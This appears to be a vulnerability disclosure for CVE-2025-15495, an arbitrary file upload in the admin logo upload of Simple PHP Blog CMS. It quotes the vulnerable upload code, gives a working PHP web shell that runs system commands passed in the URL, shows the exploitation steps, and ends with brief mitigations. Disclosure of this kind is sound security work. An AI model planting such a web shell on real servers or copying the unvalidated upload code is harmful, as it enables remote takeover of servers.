asim-qazi/rce-simplephpblog-biggiedroidCVE-2025-15495 - Arbitrary File Upload Leading to Remote Code Execution (RCE)
BiggiDroid – Simple PHP Blog CMS Product page: https://biggidroid.com/product/simple-php-blog/
Critical
CVSS (Estimated): 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)
The Simple PHP Blog CMS contains an unrestricted file upload vulnerability in the admin panel’s Site Logo upload functionality. An authenticated attacker can upload a malicious PHP file disguised as an image, which is stored in a web-accessible directory and executed by the server, resulting in remote command execution.
Admin Panel → Update Site Logo
Relevant vulnerable code snippet:
$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];
$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");
if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
// success
}
Create a file named shell.php:
<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>
shell.php as the logo file📌 The application accepts the PHP file without validation
After upload, the file is accessible at:
http://127.0.0.1/image/shell.php
Execute system commands:
http://127.0.0.1/image/shell.php?cmd=dir
The server executes OS commands and returns output, confirming Remote Code Execution.
An attacker can:
This vulnerability can lead to complete server takeover.
.htaccess / server hardeningRestrict file extensions
$allowed = ['jpg','jpeg','png','gif'];
Validate MIME type
finfo_file()
Rename uploaded files